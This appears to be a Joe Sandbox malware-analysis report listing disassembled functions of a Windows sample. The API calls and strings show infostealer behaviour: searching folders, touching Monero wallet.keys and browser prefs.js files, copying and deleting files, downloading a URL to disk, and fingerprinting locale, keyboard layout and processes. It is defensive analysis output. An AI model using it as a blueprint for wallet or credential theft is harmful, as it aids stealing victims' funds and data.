Associated: 00000000.00000002.1964134171.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964386132.0000000000BEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964488608.0000000000D8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964503749.0000000000D90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: 4b6c83f38b1722dfa8de7e2de43dc7c5be812cd3a08fb7713fe579b417b88ef1
Instruction ID: 94d63af6e76c49a6a0366edfbc88b24b4983cd78eb8ba9b4182321a9c7a09c90
Opcode Fuzzy Hash: 4b6c83f38b1722dfa8de7e2de43dc7c5be812cd3a08fb7713fe579b417b88ef1
Instruction Fuzzy Hash: 40B13771910208EBDB64FF64DC99FED73B9AF54300F4086A8A50A961D1EF346B49CF92

Function 006F16D0 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0070A740: lstrcpy.KERNEL32(00710E17,00000000), ref: 0070A788

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,0071510C,?,?,?,007151B4,?,?,00000000,?,00000000), ref: 006F1923
StrCmpCA.SHLWAPI(?,0071525C), ref: 006F1973
StrCmpCA.SHLWAPI(?,00715304), ref: 006F1989
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 006F1D40
DeleteFileA.KERNEL32(00000000), ref: 006F1DCA
FindNextFileA.KERNEL32(000000FF,?), ref: 006F1E20
FindClose.KERNEL32(000000FF), ref: 006F1E32

Part of subcall function 0070A920: lstrcpy.KERNEL32(00000000,?), ref: 0070A972
Part of subcall function 0070A920: lstrcat.KERNEL32(00000000), ref: 0070A982

Part of subcall function 0070A9B0: lstrlen.KERNEL32(?,01238F68,?,\Monero\wallet.keys,00710E17), ref: 0070A9C5
Part of subcall function 0070A9B0: lstrcpy.KERNEL32(00000000), ref: 0070AA04
Part of subcall function 0070A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0070AA12

Part of subcall function 0070A8A0: lstrcpy.KERNEL32(?,00710E17), ref: 0070A905

Strings

\*.*, xrefs: 006F17F1

Memory Dump Source

Source File: 00000000.00000002.1963816981.00000000006F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006F0000, based on PE: true

Associated: 00000000.00000002.1963799335.00000000006F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000778000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000077F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000782000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000895000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.000000000094E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964386132.0000000000BEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964488608.0000000000D8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964503749.0000000000D90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: 583555c0ca86ae0099a8cea59dacd0868b76da0fbf99eaaa69464414a1de4056
Instruction ID: 368a8622fc0a837d761ecf6611c6af3f3da79f317643e023d3d5a0adeed5206b
Opcode Fuzzy Hash: 583555c0ca86ae0099a8cea59dacd0868b76da0fbf99eaaa69464414a1de4056
Instruction Fuzzy Hash: 8B12F871910218EBDB55FB60CC59EEE73B9AF54300F4082A9B506A60D1EF786F89CF91

Function 006FDA80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0070A740: lstrcpy.KERNEL32(00710E17,00000000), ref: 0070A788

Part of subcall function 0070A920: lstrcpy.KERNEL32(00000000,?), ref: 0070A972
Part of subcall function 0070A920: lstrcat.KERNEL32(00000000), ref: 0070A982

Part of subcall function 0070A9B0: lstrlen.KERNEL32(?,01238F68,?,\Monero\wallet.keys,00710E17), ref: 0070A9C5
Part of subcall function 0070A9B0: lstrcpy.KERNEL32(00000000), ref: 0070AA04
Part of subcall function 0070A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0070AA12

Part of subcall function 0070A8A0: lstrcpy.KERNEL32(?,00710E17), ref: 0070A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,007114B0,00710C2A), ref: 006FDAEB
StrCmpCA.SHLWAPI(?,007114B4), ref: 006FDB33
StrCmpCA.SHLWAPI(?,007114B8), ref: 006FDB49
FindNextFileA.KERNELBASE(000000FF,?), ref: 006FDDCC
FindClose.KERNEL32(000000FF), ref: 006FDDDE

Memory Dump Source

Source File: 00000000.00000002.1963816981.00000000006F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006F0000, based on PE: true

Associated: 00000000.00000002.1963799335.00000000006F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000778000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000077F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000782000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000895000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.000000000094E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964386132.0000000000BEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964488608.0000000000D8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964503749.0000000000D90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: c8617c3d568086edc90f5fb391f160e0dc28ebd5b14d54496dd62b289ed5be30
Instruction ID: 135ea9a6490ab7055d7bdf8045c583711b98ca4d7bdc51f419ddfc863f5ede10
Opcode Fuzzy Hash: c8617c3d568086edc90f5fb391f160e0dc28ebd5b14d54496dd62b289ed5be30
Instruction Fuzzy Hash: 7C911772910208E7CB14FB74DC5ADFD73BDAF94300F408668F946961C5EE38AB598B92

Function 006F60A0 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0070A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0070A7E6

Part of subcall function 006F47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 006F4839
Part of subcall function 006F47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 006F4849

InternetOpenA.WININET(00710DF7,00000001,00000000,00000000,00000000), ref: 006F610F
StrCmpCA.SHLWAPI(?,0123E8E8), ref: 006F6147
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 006F618F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 006F61B3
InternetReadFile.WININET(?,?,00000400,?), ref: 006F61DC
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 006F620A
CloseHandle.KERNEL32(?,?,00000400), ref: 006F6249
InternetCloseHandle.WININET(?), ref: 006F6253
InternetCloseHandle.WININET(00000000), ref: 006F6260

Memory Dump Source

Source File: 00000000.00000002.1963816981.00000000006F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006F0000, based on PE: true

Associated: 00000000.00000002.1963799335.00000000006F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000778000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000077F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000782000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000895000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.000000000094E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964386132.0000000000BEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964488608.0000000000D8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964503749.0000000000D90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 2507841554-0
Opcode ID: 12148a564f6d6a6beac3aecef362dc22e870ff1e0569384ec408a9b4b3c236af
Instruction ID: 5bfb7e0db14c717692f9df27ef453d4ca018f57161be964ca62339fdad7d53c9
Opcode Fuzzy Hash: 12148a564f6d6a6beac3aecef362dc22e870ff1e0569384ec408a9b4b3c236af
Instruction Fuzzy Hash: DB516DB1A1021CEBDB20DF60DC4ABEE77B9EB44701F108198B706A72C1DB746A85DF95

Function 00707B90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0070A740: lstrcpy.KERNEL32(00710E17,00000000), ref: 0070A788

GetKeyboardLayoutList.USER32(00000000,00000000,007105AF), ref: 00707BE1
LocalAlloc.KERNEL32(00000040,?), ref: 00707BF9
GetKeyboardLayoutList.USER32(?,00000000), ref: 00707C0D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00707C62
LocalFree.KERNEL32(00000000), ref: 00707D22

Strings

/ , xrefs: 00707C7F

Memory Dump Source

Source File: 00000000.00000002.1963816981.00000000006F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006F0000, based on PE: true

Associated: 00000000.00000002.1963799335.00000000006F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000778000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000077F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000782000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000895000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.000000000094E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964386132.0000000000BEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964488608.0000000000D8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964503749.0000000000D90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f0000_file.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: 7352c081e80c76a9316f051f5b074ca55a9b9eb85792fbc2324a9776112a86c4
Instruction ID: e755f49fa595eb9e79973f536dc8f79cce131c4daca5cf749b09197ae4e7ca95
Opcode Fuzzy Hash: 7352c081e80c76a9316f051f5b074ca55a9b9eb85792fbc2324a9776112a86c4
Instruction Fuzzy Hash: 9A412D71950218EBDB24DB94DC99BEEB3B8FF54700F204299E109A21D1DB782F85CFA1

Function 006FE430 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0070A740: lstrcpy.KERNEL32(00710E17,00000000), ref: 0070A788

Part of subcall function 0070A920: lstrcpy.KERNEL32(00000000,?), ref: 0070A972
Part of subcall function 0070A920: lstrcat.KERNEL32(00000000), ref: 0070A982

Part of subcall function 0070A9B0: lstrlen.KERNEL32(?,01238F68,?,\Monero\wallet.keys,00710E17), ref: 0070A9C5
Part of subcall function 0070A9B0: lstrcpy.KERNEL32(00000000), ref: 0070AA04
Part of subcall function 0070A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0070AA12

Part of subcall function 0070A8A0: lstrcpy.KERNEL32(?,00710E17), ref: 0070A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,00710D73), ref: 006FE4A2
StrCmpCA.SHLWAPI(?,007114F8), ref: 006FE4F2
StrCmpCA.SHLWAPI(?,007114FC), ref: 006FE508
FindNextFileA.KERNEL32(000000FF,?), ref: 006FEBDF

Strings

\*.*, xrefs: 006FE44D

Memory Dump Source

Source File: 00000000.00000002.1963816981.00000000006F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006F0000, based on PE: true

Associated: 00000000.00000002.1963799335.00000000006F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000778000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000077F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000782000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000895000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.000000000094E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964386132.0000000000BEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964488608.0000000000D8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964503749.0000000000D90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*
API String ID: 433455689-1173974218
Opcode ID: 50404f5de453d5307f3f9cd74365b6b8da4fae4564f4a26f6016feb9ce858a16
Instruction ID: ec44ddb8290e7494adeaffbeb5f13749b56e0119e92fb76a1a365f1659b408cd
Opcode Fuzzy Hash: 50404f5de453d5307f3f9cd74365b6b8da4fae4564f4a26f6016feb9ce858a16
Instruction Fuzzy Hash: 1B124971910218EBDB15FB60DD5AEED73B9AF54300F4082A8B50A960D1EF386F49CF92

Function 00709600 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0070961E
Process32First.KERNEL32(00710ACA,00000128), ref: 00709632
Process32Next.KERNEL32(00710ACA,00000128), ref: 00709647
StrCmpCA.SHLWAPI(?,00000000), ref: 0070965C
CloseHandle.KERNEL32(00710ACA), ref: 0070967A

Memory Dump Source

Source File: 00000000.00000002.1963816981.00000000006F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006F0000, based on PE: true

Associated: 00000000.00000002.1963799335.00000000006F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000778000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000077F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000782000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000895000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.000000000094E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964386132.0000000000BEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964488608.0000000000D8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964503749.0000000000D90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f0000_file.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 127781bc4d580457148c9444b5a1439456d3e96aaa9e6400029ca5250303651c
Instruction ID: d741717fbed116e506b91538c73aa8701f6f709a64172c9db17ba3cdc33e9bd1
Opcode Fuzzy Hash: 127781bc4d580457148c9444b5a1439456d3e96aaa9e6400029ca5250303651c
Instruction Fuzzy Hash: 43011E75A14208EBCB14DFA5CD88BEEB7F8EB48700F104288EA46A7290DB359B40DF51

Function 00707A30 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,0123E608,00000000,?,00710E10,00000000,?,00000000,00000000), ref: 00707A63
RtlAllocateHeap.NTDLL(00000000), ref: 00707A6A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,0123E608,00000000,?,00710E10,00000000,?,00000000,00000000,?), ref: 00707A7D
wsprintfA.USER32 ref: 00707AB7

Memory Dump Source

Source File: 00000000.00000002.1963816981.00000000006F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006F0000, based on PE: true

Associated: 00000000.00000002.1963799335.00000000006F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000778000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000077F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000782000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000895000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.000000000094E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
